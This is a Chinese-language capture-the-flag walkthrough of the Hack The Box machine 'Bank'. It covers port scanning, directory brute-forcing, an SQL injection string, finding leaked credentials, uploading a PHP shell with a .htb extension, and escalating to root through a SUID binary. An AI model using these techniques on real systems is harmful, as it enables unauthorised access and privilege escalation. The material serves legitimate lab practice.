bank(不能再简单的文件上传+suid提权)

10.10.10.29

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)
| 2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)
| 256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)
|_ 256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)
53/tcp open domain ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
53/udp open domain ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.9.5-3ubuntu0.14-Ubuntu

os: ubuntu

web

只有一个web apache默认配置页面

domain

burp抓包,将Host: 10.10.10.29,替换为Host: bank.htb
可以发现

echo 10.10.10.29 bank.htb >> /etc/hosts


try1 - 目录扫描

1
2
3
4
gobuster -u http://bank.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
/uploads (Status: 301)
/assets (Status: 301)
/inc (Status: 301)

当访问/uploads时候,发现是403 forbidden,而不是301。
burp repeater发现是gobuster结果不准确。

访问assets,发现一些没什么用的css文件。

/inc发现

zone transfer

1
2
3
echo 10.10.10.29 chris.bank.htb >> /etc/hosts
echo 10.10.10.29 ns.bank.htb >> /etc/hosts
echo 10.10.10.29 www.bank.htb >> /etc/hosts

try2 - sql注入

admin’ or ‘1’=’1
密码随意,提示口令和数据库查询不匹配,可以联想到sql注入

burp intruder,测试用户名/密码,payload都试过,但没有报错。也许有延时注入。。谁知道呢

try3- 域名检查

三个域名都是apache默认配置页面

writeup

balance-transfer

当时没有扫描出这个目录。。给我的启示是,要等gobuster 100%扫描结束后再开始做,免得遗漏重点,却在不重要的地方反复检查,浪费时间。

1
2
Email: 1xlwRvs9vMzOmq8H3G5npUroI9iySrrTZNpQiS0OFzD20LK4rPsRJTfs3y1VZsPYffOy7PnMo0PoLzsdpU49OkCSSDOR6DPmSEUZtiMSiCg3bJgAElKsFmlxZ9p5MfrE
Password: TmEnErfX3w0fghQUCAniWIQWRf1DutioQWMvo2srytHOKxJn76G4Ow0GM2jgvCFmzrRXtkp2N6RyDAWLGCPv9PbVRvbn7RKGjBENW3PJaHiOhezYRpt0fEV797uhZfXi

发现口令,并且加密过了。检查一下长度,128位,于是搜索“md5 在线破解”

检查结果,检查加密方式失败。。


复制源码,grep反向搜索,找到一个长度为257的文件。

于是打开它,发现口令没有加密
http://bank.htb/balance-transfer/68576f20e9732f1b2edc4df5b8533230.acc

文件上传

You cant upload this this file. You can upload only img.

然而查看源码发现,.htb作为后缀可以作为php脚本被执行。

1
2
view-source:http://bank.htb/support.php
<!-- [DEBUG] I added the file extension .htb to execute as php for debugging purposes only [DEBUG] -->

root

1
2
3
4
5
6
7
8
9
python -c 'import pty; pty.spawn("/bin/bash")'

find / -perm -4000 2>/dev/null > examSUID.txt

file /var/htb/bin/emergency
/var/htb/bin/emergency: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=1fff1896e5f8db5be4db7b7ebab6ee176129b399, stripped


cd /var/htb/bin; ./emergency

找到suid程序,运行一下,即可获得root权限

总结

说好不玩CTF呢